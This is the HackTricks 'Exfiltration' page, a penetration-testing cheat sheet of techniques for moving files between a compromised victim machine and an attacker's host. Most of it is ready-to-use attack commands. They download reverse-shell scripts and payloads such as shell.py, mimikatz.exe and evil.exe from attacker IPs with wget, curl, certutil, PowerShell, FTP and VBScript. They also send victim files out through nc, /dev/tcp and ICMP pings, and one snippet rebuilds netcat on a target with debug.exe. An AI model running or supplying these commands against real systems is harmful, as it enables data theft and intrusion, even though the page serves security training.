hacktricks/generic-methodologies-and-resources/exfiltration.md

# Exfiltration

<details>

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### Copy\&Paste Base64

**Linux**

```bash
base64 -w0 <file> #Encode file
base64 -d file #Decode file
```

**Windows**

```
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
```

### HTTP

**Linux**

```bash
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
```

**Windows**

```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```

#### Upload files

[**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)

[**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)\*\*\*\*

#### **HTTPS Server**

```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)    
@app.route('/')    
def root():    
    print(request.get_json())
    return "OK"
if __name__ == "__main__":    
    app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###
```

### FTP

#### FTP server (python)

```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```

#### FTP server (NodeJS)

```
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```

#### FTP server (pure-ftp)

```bash
apt-get update && apt-get install pure-ftp
```

```bash
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```

#### **Windows** client

```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
```

<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (19).png" alt="" data-size="original">\
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### SMB

Kali as server

```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```

Or create a smb share **using samba**:

```bash
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
    comment = Samba on Ubuntu
    path = /tmp/smb
    read only = no
    browsable = yes
    guest ok = Yes
#Start samba
service smbd restart
```

Windows

```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:
```

### SCP

The attacker has to have SSHd running.

```bash
scp <username>@<Attacker_IP>:<directory>/<filename> 
```

### SSHFS

If the victim has SSH, the attacker can mount a directory from the victim to the attacker.

```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
```

### NC

```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
```

### /dev/tcp

#### Download file from victim

```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```

#### Upload file to victim

```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
```

thanks to **@BinaryShadow\_**

### **ICMP**

```bash
# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
```

```python
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
    if pkt.haslayer(ICMP):
        if pkt[ICMP].type == 0:
            data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
            print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)
```

### **SMTP**

If you can send data to an SMTP server, you can create an SMTP to receive the data with python:

```bash
sudo python -m smtpd -n -c DebuggingServer :25
```

### TFTP

By default in XP and 2003 (in others it needs to be explicitly added during installation)

In Kali, **start TFTP server**:

```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```

**TFTP server in python:**

```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```

In **victim**, connect to the Kali server:

```bash
tftp -i <KALI-IP> get nc.exe
```

### PHP

Download a file with a PHP oneliner:

```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```

### VBScript

```bash
Attacker> python -m SimpleHTTPServer 80
```

**Victim**

```bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```

```bash
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```

### Debug.exe

This is a crazy technique that works on Windows 32 bit machines. The idea is to use the `debug.exe` program. It is used to inspect binaries, like a debugger. But it can also rebuild them from hex. So the idea is that we take binaries, like `netcat`. And then disassemble it into hex, paste it into a file on the compromised machine, and then assemble it with `debug.exe`.

`Debug.exe` can only assemble 64 kb. So we need to use files smaller than that. We can use upx to compress it even more. So let's do that:

```
upx -9 nc.exe
```

Now it only weighs 29 kb. Perfect. So now let's disassemble it:

```
wine exe2bat.exe nc.exe nc.txt
```

Now we just copy-paste the text into our windows-shell. And it will automatically create a file called nc.exe

### DNS

* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)

<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (19).png" alt="" data-size="original">\
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!

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<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>